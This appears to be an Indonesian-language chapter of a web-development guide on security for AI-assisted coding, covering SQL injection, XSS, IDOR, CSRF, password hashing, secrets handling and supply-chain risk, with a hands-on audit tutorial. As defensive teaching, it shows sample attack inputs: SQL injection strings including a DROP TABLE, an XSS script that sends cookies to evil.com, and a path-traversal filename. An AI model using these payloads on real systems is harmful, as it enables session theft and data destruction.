Lewati ke isi

05 โ€” Security

โ† Docker | Index | Lanjut: Checklist โ†’


Bagian paling penting untuk era AI. AI coding assistant sering menghasilkan kode yang berfungsi tapi tidak aman, karena ia meniru pola dari internet โ€” termasuk pola yang buruk. Beberapa studi menemukan porsi signifikan kode hasil AI mengandung kerentanan ketika prompt-nya tidak menyebut keamanan secara eksplisit. Keamanan tidak datang gratis dari AI โ€” harus diminta dan diverifikasi.

5.1 Prinsip Dasar

  1. Never trust user input. Semua input dari luar (form, URL, header, cookie, file upload, bahkan response API pihak ketiga) dianggap berbahaya sampai divalidasi.
  2. Least privilege. Setiap user/service/API key hanya diberi akses seminimal yang dibutuhkan. Kalau bocor, kerusakannya terbatas.
  3. Defense in depth. Keamanan berlapis โ€” validasi di frontend DAN backend DAN database; jangan andalkan satu tembok.
  4. Jangan buat sistem crypto/auth sendiri. Pakai library & standar yang sudah teruji bertahun-tahun oleh komunitas.
  5. Keamanan adalah proses, bukan fitur. Dependency menua, teknik serangan berkembang โ€” perlu perawatan rutin.

Peta ancaman: OWASP Top 10

OWASP Top 10 = daftar kerentanan aplikasi web paling kritis, dirawat komunitas keamanan dunia dan diperbarui berkala. Materi bab ini mencakup yang paling relevan sehari-hari: injection (ยง5.2), XSS (ยง5.3), broken access control (ยง5.4), CSRF (ยง5.5), kegagalan autentikasi & kriptografi (ยง5.6), misconfiguration (ยง5.8), dan kerentanan komponen/supply chain (ยง5.9โ€“5.10).

5.2 SQL Injection โ€” Serangan Klasik yang Tak Kunjung Mati

Terjadi saat input user digabung langsung ke query SQL:

// โŒ BERBAHAYA โ€” input user masuk mentah ke query
$query = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";

// Penyerang mengisi email dengan:   ' OR '1'='1
// Query menjadi: SELECT * FROM users WHERE email = '' OR '1'='1'
// โ†’ mengembalikan SEMUA user!

// Lebih parah โ€” input:   '; DROP TABLE users; --
// โ†’ tabel users DIHAPUS
// โœ… AMAN โ€” prepared statement / parameterized query
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
// Nilai dikirim TERPISAH dari query โ†’ database tidak pernah
// menafsirkan input sebagai perintah

๐Ÿ“Œ Aturan sederhana: input user tidak boleh pernah di-concat/di-interpolasi langsung ke string SQL. Titik.

Catatan untuk pengguna framework: ORM (Eloquent, Prisma, dsb.) aman secara default โ€” tapi pintu bahayanya tetap terbuka lewat raw query:

// โŒ Tetap injection walau "pakai Laravel"
DB::select("SELECT * FROM users WHERE email = '$email'");

// โœ… Raw query yang benar: tetap parameterized
DB::select("SELECT * FROM users WHERE email = ?", [$email]);

Prinsip yang sama berlaku untuk injection lain: command injection (input user masuk ke perintah shell) dan NoSQL injection. Polanya selalu: data user diperlakukan sebagai perintah, bukan nilai.

5.3 XSS (Cross-Site Scripting)

Penyerang menyisipkan JavaScript ke halaman yang dilihat user lain โ€” misalnya lewat kolom komentar:

<!-- Penyerang menulis "komentar": -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

Jika ditampilkan mentah, script berjalan di browser semua pengunjung โ†’ cookie/session dicuri, aksi dilakukan atas nama korban, halaman dipalsukan.

Pencegahan utama โ€” escape output: ubah karakter spesial jadi teks biasa saat menampilkan data user (< โ†’ &lt;), sehingga browser menampilkannya sebagai tulisan, bukan menjalankannya.

Template engine modern sudah escape otomatis โ€” bahaya justru muncul di "pintu keluar darurat" yang mem-bypass proteksi:

Framework โœ… Aman (auto-escape) โš ๏ธ Pintu bahaya
Laravel Blade {{ $comment }} {!! $comment !!}
React/JSX {comment} dangerouslySetInnerHTML
Vue {{ comment }} v-html
Vanilla JS element.textContent element.innerHTML

โš ๏ธ Red flag: setiap kemunculan {!! !!}, dangerouslySetInnerHTML, v-html, atau innerHTML di kode AI wajib dipertanyakan: "apakah data ini bisa berasal dari user?" Kalau ya โ€” cari cara lain, atau sanitasi dengan library khusus (mis. DOMPurify).

Lapisan tambahan: Content Security Policy (CSP) โ€” header yang membatasi script dari mana saja yang boleh dijalankan browser (lihat ยง5.8).

5.4 Autentikasi vs Otorisasi (dan IDOR)

  • Authentication (AuthN): Siapa kamu? โ†’ login.
  • Authorization (AuthZ): Boleh apa saja kamu? โ†’ hak akses.

Bug keamanan paling umum di kode AI: cek login ada, cek kepemilikan tidak ada โ€” disebut IDOR (Insecure Direct Object Reference):

GET /api/invoices/1001   โ†’ invoice milik saya, OK โœ…
GET /api/invoices/1002   โ†’ invoice milik ORANG LAIN... juga bisa dibuka?! โŒ

Penyerang cukup mengganti angka di URL. Kebocoran data besar di dunia nyata berkali-kali terjadi lewat lubang sesederhana ini.

// โŒ Hanya cek login
$invoice = Invoice::findOrFail($id);

// โœ… Cek login DAN kepemilikan
$invoice = Invoice::where('id', $id)
    ->where('user_id', auth()->id())
    ->firstOrFail();                      // bukan milikmu โ†’ 404

Dua pola pelengkap:

  • RBAC (Role-Based Access Control): hak akses berdasarkan peran โ€” admin, staff, customer. Cek role di setiap endpoint sensitif, di backend (role yang disimpan di frontend/JWT payload bisa dipalsukan tampilannya, keputusan tetap harus diverifikasi server).
  • Jangan percaya field tersembunyi: request {"role": "admin"} yang diselipkan user saat register harus diabaikan server (mass assignment protection).

๐Ÿ’ก Prompt: "Untuk setiap endpoint di controller ini, sebutkan: siapa yang boleh mengakses, dan di baris mana pengecekan kepemilikan/role dilakukan. Kalau ada endpoint tanpa pengecekan, tandai sebagai temuan."

5.5 CSRF (Cross-Site Request Forgery)

Serangan yang "menunggangi" sesi login korban. Skenario:

1. Anda login ke bank-anda.com (browser menyimpan cookie sesi)
2. Anda membuka situs-jahat.com di tab lain
3. Situs jahat diam-diam men-submit form ke bank-anda.com/transfer
4. Browser OTOMATIS menyertakan cookie sesi Anda โ†’ transfer berjalan!

Korban tidak mengklik apa pun yang mencurigakan โ€” cukup membuka halaman jahat sambil masih login di situs target.

Pencegahan: CSRF token โ€” kode acak unik yang disisipkan di setiap form sah dan diverifikasi server. Situs jahat tidak bisa menebaknya. Framework modern menyediakannya built-in (@csrf di Blade); pelengkapnya: cookie dengan atribut SameSite.

Catatan: API murni berbasis Bearer token (bukan cookie) secara alami lebih kebal CSRF โ€” karena token tidak dikirim otomatis oleh browser. Ini salah satu alasan arsitektur token populer.

5.6 Password, Hashing & Secrets

Password

  • Jangan pernah simpan password sebagai plain text. Gunakan hashing satu-arah: bcrypt atau argon2.
  • Hashing โ‰  enkripsi. Enkripsi bisa dibalik (ada kuncinya); hashing tidak bisa. Login bekerja dengan membandingkan hash input vs hash tersimpan โ€” server tidak pernah tahu password aslinya.
  • MD5 dan SHA1 BUKAN untuk password โ€” terlalu cepat dihitung = mudah di-brute-force miliaran tebakan per detik. bcrypt/argon2 sengaja dibuat lambat.
  • Salt (data acak unik per user, otomatis di bcrypt/argon2) memastikan dua user berpassword sama punya hash berbeda โ€” mematahkan serangan tabel hash siap pakai (rainbow table).

Kebijakan yang sehat: dorong password panjang (passphrase), sediakan 2FA/MFA untuk akun penting, rate-limit percobaan login, dan beri respons login gagal yang seragam ("email atau password salah" โ€” jangan konfirmasi email mana yang terdaftar).

Secrets (API key, DB password, token, private key)

  • Simpan di environment variable / secret manager โ€” bukan di kode, bukan di repo.
  • .env wajib masuk .gitignore (dan .dockerignore).
  • Sekali secret ter-push ke Git, anggap sudah bocor โ†’ rotate (ganti) segera. Menghapus commit tidak cukup โ€” riwayat Git, fork, dan mirror menyimpan salinannya. Bot penyerang memindai repository publik untuk credential dalam hitungan menit.
  • Beri scope minimal pada setiap key (least privilege): key yang hanya perlu baca, jangan diberi izin tulis.

๐Ÿ’ก Kredensial cloud (misal AWS access key) yang bocor bisa berujung tagihan ratusan juta rupiah dalam hitungan hari โ€” dipakai penyerang menambang crypto atau menyewakan resource. Kasus seperti ini hampir selalu berawal dari access key yang ter-commit atau tertempel di tempat publik. Deteksi dini (billing alert, monitoring aktivitas aneh) sama pentingnya dengan pencegahan.

5.7 HTTPS & Keamanan Transport

  • HTTP = kartu pos โ€” semua orang di jaringan (termasuk WiFi kafe) bisa membaca isinya.
  • HTTPS = surat tersegel โ€” terenkripsi di perjalanan (TLS); juga menjamin Anda benar-benar bicara dengan server yang dituju.
  • Production wajib HTTPS tanpa pengecualian โ€” sertifikat gratis via Let's Encrypt, otomatis diperpanjang.
  • HSTS (header Strict-Transport-Security): memaksa browser selalu memakai HTTPS untuk domain tersebut.

5.8 Hardening: Konfigurasi & Praktik Pendukung

Praktik Kenapa
Validasi input di server Validasi frontend mudah dilewati โ€” cukup panggil API langsung via curl/Postman
Rate limiting Cegah brute-force login & penyalahgunaan API (429)
CORS ketat Access-Control-Allow-Origin: * pada API ber-auth = mengundang masalah; whitelist domain spesifik
Security headers Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options (anti-clickjacking), HSTS
Error generik ke user Stack trace/struktur DB di layar publik = peta gratis bagi penyerang; detail cukup di log internal
Matikan mode debug di production APP_DEBUG=true di production membocorkan env, query, dan path โ€” kesalahan konfigurasi paling umum
Log & monitoring Tanpa log, insiden tidak terdeteksi & tidak bisa diinvestigasi; log jangan menyimpan password/token
Backup teruji Pertahanan terakhir terhadap ransomware & human error (lihat bab Database ยง3.11)

File upload โ€” checklist khusus

Fitur upload adalah pintu favorit penyerang:

  • โœ… Whitelist ekstensi & verifikasi tipe konten sebenarnya (magic bytes), bukan cuma nama file โ€” virus.php yang di-rename foto.jpg harus tertangkap.
  • โœ… Batasi ukuran file.
  • โœ… Ganti nama file dengan random/UUID โ€” nama asli bisa berisi path traversal (../../config.php).
  • โœ… Simpan di luar folder yang bisa mengeksekusi kode (idealnya object storage terpisah: S3 dan sejenisnya).

5.9 Risiko Spesifik Vibe Coding

Era AI menambahkan mode kegagalan baru:

  1. AI menghasilkan pola lama/tidak aman โ€” MD5 untuk password, string concat di SQL, CORS *, debug mode menyala. AI meniru internet, dan internet penuh contoh buruk.
  2. AI "menghalu" package (โ†’ slopsquatting) โ€” AI menyarankan library yang tidak ada; penyerang memantau nama-nama halu populer dan menerbitkan package palsu berisi malware dengan nama itu. Selalu verifikasi package di registry resmi (npm/packagist/pypi): cek umur, jumlah unduhan, dan repository-nya, sebelum install.
  3. Secret bocor lewat prompt โ€” jangan tempel API key/password/data pelanggan asli saat bertanya ke AI. Ganti dengan placeholder (<API_KEY>, <DATA_SAMPLE>).
  4. Kode terlihat jalan โ‰  aman โ€” demo sukses hanya membuktikan happy path. Authorization check, rate limit, dan validasi tidak terlihat di demo.
  5. Volume kode naik, review jadi bottleneck โ€” AI menghasilkan kode 10x lebih cepat; tanpa disiplin review, lubang keamanan ikut terkirim 10x lebih cepat.
  6. Kepercayaan berlebih โ€” makin sering AI benar, makin jarang kita memeriksa. Justru itu celahnya. Perlakukan output AI seperti kode dari developer baru yang pintar tapi belum kenal sistem Anda: berbakat, cepat, wajib direview.

5.10 Supply Chain: Dependency Anda Adalah Kode Anda

Aplikasi modern = sedikit kode sendiri + ratusan package pihak ketiga. Kerentanan di salah satu package = kerentanan di aplikasi Anda.

  • Jalankan audit rutin: npm audit, composer audit โ€” dan perbaiki temuan prioritas tinggi.
  • Aktifkan bot pembaruan otomatis (Dependabot/Renovate) di repository.
  • Lockfile (package-lock.json, composer.lock) wajib di-commit โ€” menjamin semua orang & server memakai versi persis sama.
  • Waspadai package yang minta izin aneh atau punya script instalasi mencurigakan.

5.11 Jika Insiden Terjadi (Dasar-Dasarnya)

Semua orang di tim perlu tahu langkah kasar ini:

  1. Jangan panik, jangan hapus jejak โ€” log dan bukti dibutuhkan untuk investigasi.
  2. Putus akses โ€” rotate credential yang dicurigai bocor, revoke session/token, isolasi sistem terdampak.
  3. Ukur dampak โ€” data apa yang tersentuh, sejak kapan, siapa terdampak.
  4. Komunikasi โ€” internal dulu (jalur yang disepakati), lalu eksternal sesuai kewajiban (pelanggan, regulator โ€” di Indonesia: UU PDP mengatur notifikasi kebocoran data pribadi).
  5. Post-mortem tanpa menyalahkan โ€” fokus ke proses yang membiarkan celah terjadi, bukan ke individu; perbaiki agar tidak terulang.

5.12 Prompting AI untuk Security

๐Ÿ’ก Review menyeluruh: "Review kode ini sebagai security engineer. Cek: SQL/command injection, XSS (termasuk penggunaan innerHTML/dangerouslySetInnerHTML/{!! !!}), IDOR & authorization tiap endpoint, CSRF, secret hardcoded, validasi input, mass assignment, dan konfigurasi berbahaya (debug mode, CORS *). Format temuan: [severity: critical/high/medium/low] โ€” [lokasi] โ€” [masalah] โ€” [perbaikan]."

๐Ÿ’ก Sejak awal (lebih baik): tambahkan ke setiap prompt pembuatan fitur โ€” "Terapkan praktik keamanan: parameterized query, escape output, cek kepemilikan data, validasi server-side, dan tidak ada secret di kode."

๐Ÿ’ก Verifikasi package: "Sebelum aku install, verifikasi bahwa package [nama] benar-benar ada di [npm/packagist], sebutkan repository resminya, dan apakah masih aktif dirawat."

๐Ÿงช Latihan: minta AI membuat form komentar sederhana tanpa menyebut keamanan sama sekali. Lalu jalankan prompt review di atas terhadap hasilnya. Hitung berapa temuan yang muncul โ€” ini demonstrasi paling meyakinkan kenapa bab ini ada.


5.13 ๐Ÿงช TUTORIAL PRAKTIK: Temukan & Perbaiki Lubang Sendiri

Latihan ini paling meyakinkan kalau dikerjakan sungguhan. Estimasi 45 menit. Tujuannya: mengalami sendiri bahwa AI menghasilkan kode tidak aman saat tidak diminta sebaliknya โ€” lalu belajar menutupnya.

Langkah 1 โ€” Sengaja buat kode rawan (10 menit)

Minta AI tanpa menyebut keamanan sama sekali:

๐Ÿ’ก "Buat endpoint login sederhana dan endpoint GET /invoices/{id} untuk melihat detail invoice, di [framework Anda]. Buat cepat saja, yang penting jalan."

Simpan hasilnya. Jangan perbaiki dulu.

Langkah 2 โ€” Audit dengan mata Anda sendiri (15 menit)

Sebelum bertanya balik ke AI, cari sendiri pakai daftar berburu ini. Beri tanda di kode:

  • [ ] IDOR: apakah GET /invoices/{id} mengecek WHERE user_id = <user login>? Atau siapa pun bisa lihat invoice siapa pun dengan ganti angka?
  • [ ] Password: disimpan/dibandingkan sebagai plain text? Pakai MD5/SHA1? Atau bcrypt/argon2?
  • [ ] Injection: ada input yang di-concat ke query?
  • [ ] Rate limit: endpoint login bisa dicoba tanpa batas?
  • [ ] Pesan error: login gagal memberi tahu "email tidak terdaftar" vs "password salah" (membocorkan email mana yang ada)?
  • [ ] Secret: ada credential hardcoded?

Catat temuan Anda. Ini melatih mata โ€” skill yang tidak bisa didelegasikan ke AI.

Langkah 3 โ€” Minta AI mengaudit, lalu bandingkan (10 menit)

๐Ÿ’ก "Review kode ini sebagai security engineer. Cek: IDOR/authorization, hashing password, injection, rate limiting, information disclosure di pesan error, secret hardcoded. Beri bukti potongan kode untuk tiap temuan."

Bandingkan daftar AI dengan daftar Anda. Biasanya: sebagian besar sama (validasi bahwa mata Anda sudah terlatih), AI menemukan 1โ€“2 yang Anda lewat, Anda mungkin menemukan 1 yang AI lewat. Inilah kenapa dua-duanya diperlukan.

Langkah 4 โ€” Perbaiki & verifikasi ulang (10 menit)

๐Ÿ’ก "Perbaiki semua temuan tadi. Untuk IDOR pastikan cek kepemilikan; password pakai bcrypt; login pakai pesan seragam; tambah rate limit. Setelah itu, review ulang hasil perbaikanmu sendiri dan konfirmasi tiap temuan sudah tertutup."

Uji manual perbaikan IDOR: login sebagai user A, coba akses invoice milik user B โ†’ harus 404/403, bukan datanya.

Refleksi

Tuliskan satu kalimat: "Di prompt awal saya, hal keamanan apa yang HILANG?" Jawaban Anda adalah template mental untuk semua prompt ke depan โ€” sekarang Anda tahu apa yang harus selalu diminta di depan, bukan ditambal di belakang.


Rangkuman Bab

  • Jangan percaya input; hak akses seminimal mungkin; keamanan berlapis.
  • Injection dicegah dengan parameterized query โ€” tanpa pengecualian, termasuk raw query di ORM.
  • XSS dicegah dengan escape output; waspadai pintu bypass (innerHTML dkk.).
  • Login (AuthN) โ‰  hak akses (AuthZ); IDOR adalah bug AI paling umum โ€” selalu cek kepemilikan data.
  • Password: bcrypt/argon2. Secrets: env variable, dan rotate begitu diduga bocor.
  • HTTPS wajib; debug mode mati di production; error publik harus generik.
  • Risiko era AI: pola tidak aman, package halu (slopsquatting), secret di prompt, dan review yang tertinggal dari kecepatan generate.
  • Keamanan harus diminta secara eksplisit di prompt dan diverifikasi lewat review โ€” dua-duanya, selalu.

โ† Docker | Index | Lanjut: Checklist โ†’